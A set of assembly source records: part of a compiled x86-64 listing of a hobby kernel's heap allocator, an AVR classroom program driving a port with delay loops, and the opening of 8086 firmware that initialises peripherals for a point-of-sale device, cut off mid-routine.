mov QWORD PTR current_seg$[rsp], rax
$LN6@malloc:
; 118 : while (true) {
xor eax, eax
cmp eax, 1
je $LN5@malloc
; 119 : if (current_seg->free) {
mov rax, QWORD PTR current_seg$[rsp]
movzx eax, BYTE PTR [rax+24]
test eax, eax
je SHORT $LN4@malloc
; 120 : if (current_seg->length > size) {
mov rax, QWORD PTR current_seg$[rsp]
mov rcx, QWORD PTR size$[rsp]
cmp QWORD PTR [rax], rcx
jbe SHORT $LN3@malloc
; 121 : current_seg->split (size);
mov rdx, QWORD PTR size$[rsp]
mov rcx, QWORD PTR current_seg$[rsp]
call ?split@kmem@@QEAAPEAU1@_K@Z ; kmem::split
; 122 : current_seg->free = false;
mov rax, QWORD PTR current_seg$[rsp]
mov BYTE PTR [rax+24], 0
; 123 : return (void*)((uint64_t)current_seg + sizeof (kmem));
mov rax, QWORD PTR current_seg$[rsp]
add rax, 32 ; 00000020H
jmp SHORT $LN9@malloc
$LN3@malloc:
; 124 : }
; 125 :
; 126 : if (current_seg->length == size) {
mov rax, QWORD PTR current_seg$[rsp]
mov rcx, QWORD PTR size$[rsp]
cmp QWORD PTR [rax], rcx
jne SHORT $LN2@malloc
; 127 : current_seg->free = false;
mov rax, QWORD PTR current_seg$[rsp]
mov BYTE PTR [rax+24], 0
; 128 : return (void*)((uint64_t)current_seg + sizeof (kmem));
mov rax, QWORD PTR current_seg$[rsp]
add rax, 32 ; 00000020H
jmp SHORT $LN9@malloc
$LN2@malloc:
$LN4@malloc:
; 129 : }
; 130 : }
; 131 : if (current_seg->next == NULL) break;
mov rax, QWORD PTR current_seg$[rsp]
cmp QWORD PTR [rax+8], 0
jne SHORT $LN1@malloc
jmp SHORT $LN5@malloc
$LN1@malloc:
; 132 : current_seg = current_seg->next;
mov rax, QWORD PTR current_seg$[rsp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR current_seg$[rsp], rax
; 133 : }
jmp $LN6@malloc
$LN5@malloc:
; 134 :
; 135 : expand_kmem(size);
mov rcx, QWORD PTR size$[rsp]
call ?expand_kmem@@YAX_K@Z ; expand_kmem
; 136 : return malloc(size);
mov rcx, QWORD PTR size$[rsp]
call ?malloc@@YAPEAX_K@Z ; malloc
$LN9@malloc:
; 137 : }
add rsp, 56 ; 00000038H
ret 0
?malloc@@YAPEAX_K@Z ENDP ; malloc
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
start_seg$ = 32
i$1 = 40
pos$ = 48
kmem_length$ = 56
p$2 = 64
sz$ = 96
?initialize_kmemory@@YAX_K@Z PROC ; initialize_kmemory
; 21 : void initialize_kmemory (size_t sz) {
$LN6:
mov QWORD PTR [rsp+8], rcx
sub rsp, 88 ; 00000058H
; 22 :
; 23 : void* pos = (void*)0xFFFF800000000000; //0xFFFFB00000000000;
mov rax, -140737488355328 ; ffff800000000000H
mov QWORD PTR pos$[rsp], rax
; 24 :
; 25 : for (size_t i=0; i < sz; i++) {
mov QWORD PTR i$1[rsp], 0
jmp SHORT $LN3@initialize
$LN2@initialize:
mov rax, QWORD PTR i$1[rsp]
inc rax
mov QWORD PTR i$1[rsp], rax
$LN3@initialize:
mov rax, QWORD PTR sz$[rsp]
cmp QWORD PTR i$1[rsp], rax
jae SHORT $LN1@initialize
; 26 : void* p = (void*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR p$2[rsp], rax
; 27 : map_page ((uint64_t)p,(uint64_t)pos,0);
xor r8d, r8d
mov rdx, QWORD PTR pos$[rsp]
mov rcx, QWORD PTR p$2[rsp]
call ?map_page@@YA_N_K0E@Z ; map_page
; 28 : pos = (void*)((size_t)pos + 0x1000);
mov rax, QWORD PTR pos$[rsp]
add rax, 4096 ; 00001000H
mov QWORD PTR pos$[rsp], rax
; 29 : }
jmp SHORT $LN2@initialize
$LN1@initialize:
; 30 :
; 31 : size_t kmem_length = sz * 0x1000;
mov rax, QWORD PTR sz$[rsp]
imul rax, 4096 ; 00001000H
mov QWORD PTR kmem_length$[rsp], rax
; 32 :
; 33 : kmem_start = (void*)0xFFFF800000000000; //0xFFFFB00000000000;
mov rax, -140737488355328 ; ffff800000000000H
mov QWORD PTR ?kmem_start@@3PEAXEA, rax ; kmem_start
; 34 : kmem_end = (void*)((size_t)kmem_start + kmem_length);
mov rax, QWORD PTR kmem_length$[rsp]
mov rcx, QWORD PTR ?kmem_start@@3PEAXEA ; kmem_start
add rcx, rax
mov rax, rcx
mov QWORD PTR ?kmem_end@@3PEAXEA, rax ; kmem_end
; 35 : //printf ("Heap end -> %x\n", kmem_end);
; 36 : kmem* start_seg = (kmem*)kmem_start;
mov rax, QWORD PTR ?kmem_start@@3PEAXEA ; kmem_start
mov QWORD PTR start_seg$[rsp], rax
; 37 : start_seg->length = kmem_length - sizeof (kmem);
mov rax, QWORD PTR kmem_length$[rsp]
sub rax, 32 ; 00000020H
mov rcx, QWORD PTR start_seg$[rsp]
mov QWORD PTR [rcx], rax
; 38 : start_seg->next = NULL;
mov rax, QWORD PTR start_seg$[rsp]
mov QWORD PTR [rax+8], 0
; 39 : start_seg->last = NULL;
mov rax, QWORD PTR start_seg$[rsp]
mov QWORD PTR [rax+16], 0
; 40 : start_seg->free = true;
mov rax, QWORD PTR start_seg$[rsp]
mov BYTE PTR [rax+24], 1
; 41 : last_header = start_seg;
mov rax, QWORD PTR start_seg$[rsp]
mov QWORD PTR ?last_header@@3PEAUkmem@@EA, rax ; last_header
; 42 :
; 43 : }
add rsp, 88 ; 00000058H
ret 0
?initialize_kmemory@@YAX_K@Z ENDP ; initialize_kmemory
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
new_split$ = 0
split_seg_length$ = 8
this$ = 32
split_length$ = 40
?split@kmem@@QEAAPEAU1@_K@Z PROC ; kmem::split
; 65 : kmem* kmem::split(size_t split_length) {
$LN6:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
sub rsp, 24
; 66 : if (split_length < 0x10) return NULL;
cmp QWORD PTR split_length$[rsp], 16
jae SHORT $LN3@split
xor eax, eax
jmp $LN4@split
$LN3@split:
; 67 : int64_t split_seg_length = length - split_length - (sizeof(kmem));
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR split_length$[rsp]
mov rax, QWORD PTR [rax]
sub rax, rcx
sub rax, 32 ; 00000020H
mov QWORD PTR split_seg_length$[rsp], rax
; 68 : if (split_seg_length < 0x10) return NULL;
cmp QWORD PTR split_seg_length$[rsp], 16
jge SHORT $LN2@split
xor eax, eax
jmp $LN4@split
$LN2@split:
; 69 :
; 70 : kmem* new_split = (kmem*) ((size_t)this + split_length + sizeof (kmem));
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR split_length$[rsp]
lea rax, QWORD PTR [rax+rcx+32]
mov QWORD PTR new_split$[rsp], rax
; 71 : next->last = new_split;
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
mov rcx, QWORD PTR new_split$[rsp]
mov QWORD PTR [rax+16], rcx
; 72 : new_split->next = next;
mov rax, QWORD PTR new_split$[rsp]
mov rcx, QWORD PTR this$[rsp]
mov rcx, QWORD PTR [rcx+8]
mov QWORD PTR [rax+8], rcx
; 73 : next = new_split;
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR new_split$[rsp]
mov QWORD PTR [rax+8], rcx
; 74 : new_split->last = this;
mov rax, QWORD PTR new_split$[rsp]
mov rcx, QWORD PTR this$[rsp]
mov QWORD PTR [rax+16], rcx
; 75 : new_split->length = split_seg_length;
mov rax, QWORD PTR new_split$[rsp]
mov rcx, QWORD PTR split_seg_length$[rsp]
mov QWORD PTR [rax], rcx
; 76 : new_split->free = free;
mov rax, QWORD PTR new_split$[rsp]
mov rcx, QWORD PTR this$[rsp]
movzx ecx, BYTE PTR [rcx+24]
mov BYTE PTR [rax+24], cl
; 77 : length = split_length;
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR split_length$[rsp]
mov QWORD PTR [rax], rcx
; 78 :
; 79 : if (last_header == this) last_header = new_split;
mov rax, QWORD PTR this$[rsp]
cmp QWORD PTR ?last_header@@3PEAUkmem@@EA, rax ; last_header
jne SHORT $LN1@split
mov rax, QWORD PTR new_split$[rsp]
mov QWORD PTR ?last_header@@3PEAUkmem@@EA, rax ; last_header
$LN1@split:
; 80 : return new_split;
mov rax, QWORD PTR new_split$[rsp]
$LN4@split:
; 81 : }
add rsp, 24
ret 0
?split@kmem@@QEAAPEAU1@_K@Z ENDP ; kmem::split
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
this$ = 48
?align_prev@kmem@@QEAAXXZ PROC ; kmem::align_prev
; 60 : void kmem::align_prev () {
$LN4:
mov QWORD PTR [rsp+8], rcx
sub rsp, 40 ; 00000028H
; 61 : if (last != NULL && last->free) last->align_next();
mov rax, QWORD PTR this$[rsp]
cmp QWORD PTR [rax+16], 0
je SHORT $LN1@align_prev
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+16]
movzx eax, BYTE PTR [rax+24]
test eax, eax
je SHORT $LN1@align_prev
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR [rax+16]
call ?align_next@kmem@@QEAAXXZ ; kmem::align_next
$LN1@align_prev:
; 62 : }
add rsp, 40 ; 00000028H
ret 0
?align_prev@kmem@@QEAAXXZ ENDP ; kmem::align_prev
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
this$ = 8
?align_next@kmem@@QEAAXXZ PROC ; kmem::align_next
; 45 : void kmem::align_next () {
mov QWORD PTR [rsp+8], rcx
; 46 : if (next == NULL) return;
mov rax, QWORD PTR this$[rsp]
cmp QWORD PTR [rax+8], 0
jne SHORT $LN4@align_next
jmp $LN5@align_next
$LN4@align_next:
; 47 : if (!next->free) return;
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
movzx eax, BYTE PTR [rax+24]
test eax, eax
jne SHORT $LN3@align_next
jmp SHORT $LN5@align_next
$LN3@align_next:
; 48 :
; 49 : if (next == last_header) last_header = this;
mov rax, QWORD PTR this$[rsp]
mov rcx, QWORD PTR ?last_header@@3PEAUkmem@@EA ; last_header
cmp QWORD PTR [rax+8], rcx
jne SHORT $LN2@align_next
mov rax, QWORD PTR this$[rsp]
mov QWORD PTR ?last_header@@3PEAUkmem@@EA, rax ; last_header
$LN2@align_next:
; 50 :
; 51 : if (next->next != NULL) {
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
cmp QWORD PTR [rax+8], 0
je SHORT $LN1@align_next
; 52 : next->next->last = this;
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
mov rax, QWORD PTR [rax+8]
mov rcx, QWORD PTR this$[rsp]
mov QWORD PTR [rax+16], rcx
$LN1@align_next:
; 53 : }
; 54 :
; 55 : length = length + next->length * sizeof(kmem);
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
mov rax, QWORD PTR [rax]
imul rax, 32 ; 00000020H
mov rcx, QWORD PTR this$[rsp]
add rax, QWORD PTR [rcx]
mov rcx, QWORD PTR this$[rsp]
mov QWORD PTR [rcx], rax
; 56 : next = next->next;
mov rax, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
mov rcx, QWORD PTR this$[rsp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR [rcx+8], rax
$LN5@align_next:
; 57 : }
fatret 0
?align_next@kmem@@QEAAXXZ ENDP ; kmem::align_next
_TEXT ENDS
END
|
||||
TheStack | 1c6752b6c228fbcc0ea5bb86bf0d132f49d74b69 | Assemblycode:Assembly | {"size": 1133, "ext": "asm", "max_stars_repo_path": "Practica6/Practica6/practica6_c.asm", "max_stars_repo_name": "Pedejeca135/ELECTRONICA-B_UASLP", "max_stars_repo_stars_event_min_datetime": "2020-09-20T20:55:06.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-20T20:55:06.000Z", "max_issues_repo_path": "Practica6/Practica6/practica6_c.asm", "max_issues_repo_name": "Pedejeca135/ELECTRONICA-B_UASLP", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Practica6/Practica6/practica6_c.asm", "max_forks_repo_name": "Pedejeca135/ELECTRONICA-B_UASLP", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 12.4505494505, "max_line_length": 33, "alphanum_fraction": 0.6098852604} | /*
* practica6_c.asm
*
* Created: 3/11/2020 6:51:40 PM
* Author: pjco9
*/
LDI r17, 0x00
STS $0027, r17
LDI r17, 0xFF
STS $002A, r17
start:
LDI r25,0b0111_0011
STS $002B,r25
call checa
call delay_1segundo
call checa
LDI r25,0x7B
STS $002B,r25
call checa
call delay_1segundo
call checa
LDI r25,0x5E
STS $002B,r25
call checa
call delay_1segundo
call checa
LDI r25,0x70
STS $002B,r25
call checa
call delay_1segundo
call checa
LDI r25,0x5C
STS $002B,r25
call checa
call delay_1segundo
jmp start
delay_1segundo:
ldi r18, 82
ldi r19, 43
ldi r20, 0
L3: dec r20
brne L3
dec r19
brne L3
dec r18
brne L3
lpm
nop
ret
checa:
LDS r17, $0026
SBRC r17,0
JMP delay
ret
// logic
delay:
ldi r18, 2
ldi r19, 160
ldi r20, 147
L1: dec r20
brne L1
dec r19
brne L1
dec r18
brne L1
nop
rompe:
LDS r17, $0026
SBRS r17, 0
JMP delay2
jmp rompe
delay2:
ldi r18, 2
ldi r19, 160
ldi r20, 147
L2: dec r20
brne L2
dec r19
brne L2
dec r18
brne L2
nop
jmp start |
||||
TheStack | 579bf7544e2264636b416b0e91402bbaf6c382c5 | Assemblycode:Assembly | {"size": 44108, "ext": "asm", "max_stars_repo_path": "source/8086/program8086/program8086.asm", "max_stars_repo_name": "srfunksensei/MIPS", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "source/8086/program8086/program8086.asm", "max_issues_repo_name": "srfunksensei/MIPS", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "source/8086/program8086/program8086.asm", "max_forks_repo_name": "srfunksensei/MIPS", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.698263726, "max_line_length": 101, "alphanum_fraction": 0.5705994377} | .8086
.model medium
;====================================================================================================
;************************************ CONSTANTS **********************************************
;====================================================================================================
;----------------------------------------------------------------
; INTERFACES
;----------------------------------------------------------------
;interrupt controller 8259A
icw1_adr EQU 0018h
icw2_adr EQU 001Ah
icw3_adr EQU 001Ah
icw4_adr EQU 001Ah
ocw1_adr EQU 001Ah
ocw2_adr EQU 0018h
ocw3_adr EQU 0018h
icw1 EQU 00010111b
icw2 EQU 00100000b
icw4 EQU 00000101b
ocw1 EQU 11100000b
lockKeyboard EQU 11100100b
unlockKeyboard EQU 11100000b
eoi0_command EQU 00110000b
eoi1_command EQU 00110001b
eoi2_command EQU 00110010b
eoi3_command EQU 00110011b
eoi4_command EQU 00110100b
;timer 8254
cnt0_adr EQU 0020h
cnt1_adr EQU 0022h
cnt2_adr EQU 0024h
control_adr EQU 0026h
cnt2_con EQU 10010110b
cnt2_val EQU 1Eh ;serial (30*pclk)
cnt1_con EQU 01110100b
cnt1_val_low EQU 40h ;display,time (40000*pclk=10mS)
cnt1_val_high EQU 9Ch ;display=x4 time=x100
cnt0_con EQU 00110100b ;printer,lad(8000*pclk=2ms)
cnt0_val_low EQU 40h ;wr=x1,char=x10,cr=x100,lad=x300
cnt0_val_high EQU 1Fh
;serial 8251a
serial_cnt_adr EQU 0000h ;control and status
serial_data_adr EQU 0002h ;data
serial_mode EQU 01001110b
serial_com_T1R1 EQU 00110111b ;T-transmit
serial_com_T0R1 EQU 00100110b ;R-receive
serial_com_T0R0 EQU 00100010b
serial_com_T1R0 EQU 00100011b
;paralel 8255
;keyboard port
key_portA EQU 0008h
key_portB EQU 000Ah
key_portC EQU 000Ch
key_con_adr EQU 000Eh
key_control EQU 10000010b
init_key_val EQU 00000000b
scan1 EQU 00001110b
scan2 EQU 00001101b
scan3 EQU 00001011b
scan4 EQU 00000111b
mask1 EQU 00001000b
mask2 EQU 00000100b
mask3 EQU 00000010b
mask4 EQU 00000001b
;display port
dis_portA EQU 0010h
dis_portB EQU 0012h
dis_portC EQU 0014h
dis_cnt_adr EQU 0016h
dis_control EQU 10000000b
;printer port
print_portA EQU 0028h
print_portB EQU 002Ah
print_portC EQU 002Ch
print_cnt_adr EQU 002Eh
print_control EQU 10000000b
start_counter EQU 10000000b
stop_counter EQU 00000000b
lad0wr0 EQU 00000000h
lad0wr1 EQU 00000001h
lad1wr0 EQU 00000010h
lad1wr1 EQU 00000011h
;---------------------------------------------------------------
; PAL16L8
;---------------------------------------------------------------
;PAL16L8 need to be programmed with shown equations
;RAM(pin 12)=/pin11*/pin9*/pin8*/pin7*/pin14
;ROM(pin 13)=pin11*pin9*pin8*pin7*pin6*pin5*/pin14*pin15
;interfaces(pin 19)=/pin11*/pin9*/pin8*/pin7*/pin6*/pin5*
; */pin4*/pin3*/pin2*/pin1*pin16*pin17*
; *pin18*pin14
;---------------------------------------------------------------
; SEGMENT ADDRESSES
;---------------------------------------------------------------
prog_seg EQU 0FC00h ;pocetak rom-a
interrupt_seg EQU 0000h ;pocetak ram-a
;----------------------------------------------------------------
; MACROS
;----------------------------------------------------------------
;save reg
saveReg MACRO
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
ENDM
;restore reg
resReg MACRO
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ENDM
;----------------------------------------------------------------
; DISPLAY CONSTANTS
;----------------------------------------------------------------
select_seg0 EQU 00000000b
select_seg1 EQU 00000001b
select_seg2 EQU 00000010b
select_seg3 EQU 00000011b
select_seg4 EQU 00000100b
select_seg5 EQU 00000101b
select_seg6 EQU 00000110b
select_seg7 EQU 00000111b
select_seg8 EQU 00001111b
select_seg9 EQU 00010111b
select_seg10 EQU 00011111b
select_seg11 EQU 00100111b
select_seg12 EQU 00101111b
select_seg13 EQU 00110111b
select_seg14 EQU 00111111b
select_seg15 EQU 01111111b
select_seg16 EQU 10111111b
;null
unselect_seg EQU 11111111b
display_null EQU 11111111b
;numbers
display0_c EQU 00011001b ;0
display0_b EQU 10011000b
display1_c EQU 11110111b ;1
display1_b EQU 11101111b
display2_c EQU 00111100b ;2
display2_b EQU 00111100b
display3_c EQU 00111100b ;3
display3_b EQU 01111000b
display4_c EQU 11011100b ;4
display4_b EQU 01111011b
display5_c EQU 00011110b ;5
display5_b EQU 01111000b
display6_c EQU 00011110b ;6
display6_b EQU 00111000b
display7_c EQU 00111101b ;7
display7_b EQU 11111011b
display8_c EQU 00011100b ;8
display8_b EQU 00111000b
display9_c EQU 00011100b ;9
display9_b EQU 01111000b
;letters
displayA_c EQU 00011100b ;A
displayA_b EQU 00111011b
displayB_c EQU 00110101b ;B
displayB_b EQU 01101000b
displayC_c EQU 00011111b ;C
displayC_b EQU 10111100b
displayD_c EQU 00110101b ;D
displayD_b EQU 11101100b
displayE_c EQU 00011101b ;E
displayE_b EQU 10111100b
displayF_c EQU 00011101b ;F
displayF_b EQU 10111111b
displayG_c EQU 00011111b ;G
displayG_b EQU 00111000b
displayH_c EQU 11011100b ;H
displayH_b EQU 00111011b
displayI_c EQU 00101111b ;I
displayI_b EQU 11101100b
displayJ_c EQU 00111101b ;J
displayJ_b EQU 10111000b
displayK_c EQU 11011010b ;K
displayK_b EQU 10101111b
displayL_c EQU 11011111b ;L
displayL_b EQU 10101111b
displayM_c EQU 11001001b ;M
displayM_b EQU 10111011b
displayN_c EQU 11001101b ;N
displayN_b EQU 10110011b
displayO_c EQU 00011101b ;O
displayO_b EQU 10111000b
displayP_c EQU 00011100b ;P
displayP_b EQU 00111111b
displayQ_c EQU 00011101b ;Q
displayQ_b EQU 10110000b
displayR_c EQU 01010110b ;R
displayR_b EQU 10110111b
displayS_c EQU 00011110b ;S
displayS_b EQU 01111000b
displayT_c EQU 00110111b ;T
displayT_b EQU 11101111b
displayU_c EQU 11011101b ;U
displayU_b EQU 10111000b
displayV_c EQU 11011011b ;V
displayV_b EQU 10010011b
displayW_c EQU 11011101b ;W
displayW_b EQU 10010011b
displayX_c EQU 11101011b ;X
displayX_b EQU 10110111b
displayY_c EQU 11101011b ;Y
displayY_b EQU 11101111b
displayZ_c EQU 00111011b ;Z
displayZ_b EQU 11011100b
displayMul_c EQU 11100010b ;*
displayMul_b EQU 01000111b
displayDD_c EQU 11110111b ;:
displayDD_b EQU 11101111b
;====================================================================================================
;************************************ RESET SEGMENT *******************************************
;====================================================================================================
reset SEGMENT AT 0FFFF0h
jmp FAR PTR startADR ;program starts at 00000h
reset ENDS
;====================================================================================================
;********************************** INTERRUPT SEGMENT *****************************************
;====================================================================================================
interrupt SEGMENT AT 00000h
ASSUME es:interrupt
; dedicaded interrupts
divz dd ? ;0000h ul0
trap dd ? ;0004h ul1
nmi dd ? ;0008h ul2
brake dd ? ;000ch ul3
overflow dd ? ;0010h ul4
; reserved interrupts
reserved dd 27 dup(?) ;0014h-007ch ul5-ul31
; available interrupts
time dd ? ;0080h ul32
counter dd ? ;0104h ul33
keyboard dd ? ;0108h ul34
serial dd ? ;010ah ul35
printer dd ? ;010ch ul36
notUsed dd 2 dup(?) ;0110h-0114h ul37,ul38
falseInt dd ? ;0118h ul39
;other interrupts
others dd 216 dup(?) ;0110h-03fch ul37-ul255
interrupt ENDS
;====================================================================================================
;************************************ STACK SEGMENT *******************************************
;====================================================================================================
stack SEGMENT word STACK
ASSUME ss:stack
topStack LABEL word
db 2048 dup(?)
stack ENDS
;====================================================================================================
; ************************************ DATA SEGMENT *******************************************
;====================================================================================================
data SEGMENT word public
ASSUME ds:data
;database
product_database db 16000 dup(?)
end_database db 1Bh
cur_product_offset dw 0
;inti protocol
cur_database_ptr dw offset product_database
data_count db 0
time_count db 0
protocol_phase db 0
programming db 0
progTime db 0
;display
display_buffer db 34 dup(0)
cur_buffer_ptr dw 0
wait_str db " WAITING "
programming_str db " PROGRAMMING "
sys_err_str db "ERROR NEED RESET "
err_str db " ERROR "
sys_amount_str db " AMOUNT "
sys_total_str db " TOTAL "
;printer
have_paper db 1
print_ptr dw offset current_bill
numChar_to_print dw 0
isPrinting db 0
;keyboard
isAmount db 0
isFunction db 0
cur_amount dw 1
cur_product_id dw 0
cur_product_price dw 0
data_str db " "
amount_str db " "
;sys lock
error db 0
lock_sys db 0
isReady db 0
;function
serialF0 db 0
;counter
counter_mode db 0
lad_cnt db 96h ;150x2mS
char_cnt db 0Ah ;10x2mS
cr_cnt db 64h ;100x2mS
isLad db 0
isChar db 0
isCr db 0
;time
hours db 0
minutes db 0
seconds db 0
pclkSec dw 64h ;1s
pclkDisplay dw 04h ;40mS
show_clock db 0
time_str db " "
;bill
current_bill db 512 dup(0) ;max 32 items(16B)
cur_bill_ptr dw offset current_bill
sending_bill db 0
cur_item_to_send dw 0
bill_price dw 0
;daily sales
total dw 0
sales_data db 14000 dup(0)
cur_sales_ptr dw offset sales_data
data ENDS
;====================================================================================================
; *********************************** PROGRAM SEGMENT *****************************************
;====================================================================================================
program SEGMENT AT 0FC000h
ASSUME cs:program
;#############################################################
;---------------------- INIT ---------------------------
;#############################################################
init proc near
;-----------------------------------------------------
; SET SEGMENT REGISTERS
;-----------------------------------------------------
mov ax,prog_seg
mov cs,ax
mov ax,interrupt_seg
mov es,ax
mov ax, stack
mov ss,ax
mov sp, offset topStack
mov ax, data
mov ds,ax
mov lock_sys,0
;-----------------------------------------------------
; SET INTERRUPT ROUTINES
;-----------------------------------------------------
; zero div
mov ax, offset div0Interrupt
mov WORD PTR divz,ax
mov ax, seg div0Interrupt
mov WORD PTR [divz+02h],ax
; trap
mov ax, offset trapInterrupt
mov WORD PTR trap,ax
mov ax, seg trapInterrupt
mov WORD PTR [trap+02h],ax
; nmi
mov ax, offset nmiInterrupt
mov WORD PTR nmi,ax
mov ax, seg nmiInterrupt
mov WORD PTR [nmi+02h],ax
; brake point
mov ax, offset brakeInterrupt
mov WORD PTR brake,ax
mov ax, seg brakeInterrupt
mov WORD PTR [brake+02h],ax
; overflow
mov ax, offset overflowInterrupt
mov WORD PTR overflow,ax
mov ax, seg overflowInterrupt
mov WORD PTR [overflow+02h],ax
; falseInterrupt
mov ax, offset falseInterrupt
mov WORD PTR falseInt,ax
mov ax, seg falseInterrupt
mov WORD PTR [falseInt+02h],ax
; time
mov ax, offset timeInterrupt
mov WORD PTR time,ax
mov ax, seg timeInterrupt
mov WORD PTR [time+02h],ax
; counter
mov ax, offset counterInterrupt
mov WORD PTR counter,ax
mov ax, seg counterInterrupt
mov WORD PTR [counter+02h],ax
; keyboard
mov ax, offset keyboardInterrupt
mov WORD PTR keyboard,ax
mov ax, seg keyboardInterrupt
mov WORD PTR [keyboard+02h],ax
; serial
mov ax, offset serialInterrupt
mov WORD PTR serial,ax
mov ax, seg serialInterrupt
mov WORD PTR [serial+02h],ax
; printer
mov ax, offset printerInterrupt
mov WORD PTR printer,ax
mov ax, seg printerInterrupt
mov WORD PTR [printer+02h],ax
;-----------------------------------------------------
; INTERRUPT CONTROLLER 8259A
;-----------------------------------------------------
mov al,icw1
out icw1_adr,al
mov al,icw2
out icw2_adr,al
mov al,icw4
out icw4_adr,al
mov al,ocw1
out ocw1_adr,al
;------------------------------------------------------
; TIMER 8254
;-----------------------------------------------------
mov al,cnt2_con
out cnt2_adr,al
mov al,cnt2_val
out cnt2_adr,al
mov al,cnt1_con
out cnt1_adr,al
mov al,cnt1_val_high
out cnt1_adr,al
mov al,cnt1_val_low
out cnt1_adr,al
mov al,cnt0_con
out cnt0_adr,al
mov al,cnt0_val_high
out cnt0_adr,al
mov al,cnt0_val_low
out cnt0_adr,al
;-----------------------------------------------------
; PARALLEL 8255
;-----------------------------------------------------
;keyboard
mov al,key_control
out key_con_adr,al
mov al,init_key_val
out key_portA,al
;display
mov al,dis_control
out dis_cnt_adr,al
mov al,unselect_seg
out dis_portA,al
;print
mov al,print_control
out print_cnt_adr,al
mov al,0h
out print_portA,al
out print_portB,al
out print_portC,al
;-----------------------------------------------------
; SERIAL 8251a
;-----------------------------------------------------
mov al,serial_mode
out serial_cnt_adr,al
mov al,serial_com_T1R1
out serial_cnt_adr,al
;-----------------------------------------------------
; DISPLAY WAIT
;-----------------------------------------------------
mov ax, offset wait_str
push ax
call fill_disply_buf
init endp
;#############################################################
;--------------- INTERRUPT ROUTINES ----------------------
;#############################################################
;div by zero
div0Interrupt:
iret
;trap
trapInterrupt:
iret
;nmi
nmiInterrupt:
iret
;brake
brakeInterrupt:
iret
;overflow
overflowInterrupt:
iret
;flase interrupt
falseInterrupt:
iret
;***********************************************************
; TIME INTERRUPT
;***********************************************************
timeInterrupt:
saveReg
mov ax,pclkSec
dec ax
mov pclkSec,ax
cmp ax,0
jne timeEnd
mov pclkSec,64h
inc seconds
cmp seconds,60
jne setStrLab
mov BYTE PTR seconds,0
inc minutes
cmp minutes,60
jne setStrLab
mov BYTE PTR minutes,0
inc hours
cmp hours,24
jne setStrLab
mov BYTE PTR hours,0
setStrLab:
cmp show_clock,0
je timeEnd
call time_to_string
mov ax,offset time_str
push ax
call fill_disply_buf
timeEnd:
mov ax,pclkDisplay
dec ax
cmp ax,0
jne skipDisRefLab
mov pclkDisplay,04h
call display_refresh
jmp tiEnd
skipDisRefLab:
mov pclkDisplay,ax
tiEnd:
mov al,eoi0_command
out ocw2_adr,al
resReg
iret
;***********************************************************
; COUNTER INTERRUPT
;***********************************************************
counterInterrupt:
saveReg
sti
;lad operations
cmp isLad,1
jne cntModeLab
dec lad_cnt
cmp lad_cnt,0
jne cntModeLab
mov lad_cnt,96h
;unlock keyboard
mov al,unlockKeyboard
out ocw1_adr,al
cmp isPrinting,1
je ladSkipLab
mov al,lad0wr0
out print_portB, al
mov al,stop_counter
out cnt0_adr,al
jmp cntModeLab
ladSkipLab:
mov al,lad0wr1
out print_portB, al
cntModeLab:
cmp have_paper,0
je printErrLab
cmp counter_mode,1
je mode1Lab
cmp counter_mode,2
je mode2Lab
cmp counter_mode,3
je mode3Lab
jmp ciEnd
printErrLab:
;no paper error
mov isPrinting,0
cmp isLad,1
je pesLab
mov al,lad0wr0
out print_portB,al
mov al,stop_counter
out cnt0_adr,al
mov counter_mode,1
mov print_ptr,0
jmp ciEnd
pesLab:
mov al,lad1wr0
out print_portB,al
mov counter_mode,1
mov print_ptr,0
jmp ciEnd
mode1Lab:
;move char and start print
mov bx,print_ptr
mov al,[bx]
inc bx
mov print_ptr,bx
out print_portA,al
;start print
cmp isLad,1
je wrStartLab
mov al,lad0wr1
out print_portB,al
mov counter_mode,2
jmp ciEnd
wrStartLab:
mov al,lad1wr1
out print_portB,al
mov counter_mode,2
jmp ciEnd
mode2Lab:
;stop print and set wait
cmp isLad,1
je wrStopLab
mov al,lad0wr0
out print_portB,al
jmp wrSkipLab
wrStopLab:
mov al,lad1wr0
out print_portB,al
wrSkipLab:
mov bx,print_ptr
dec bx
cmp BYTE PTR [bx],0Dh
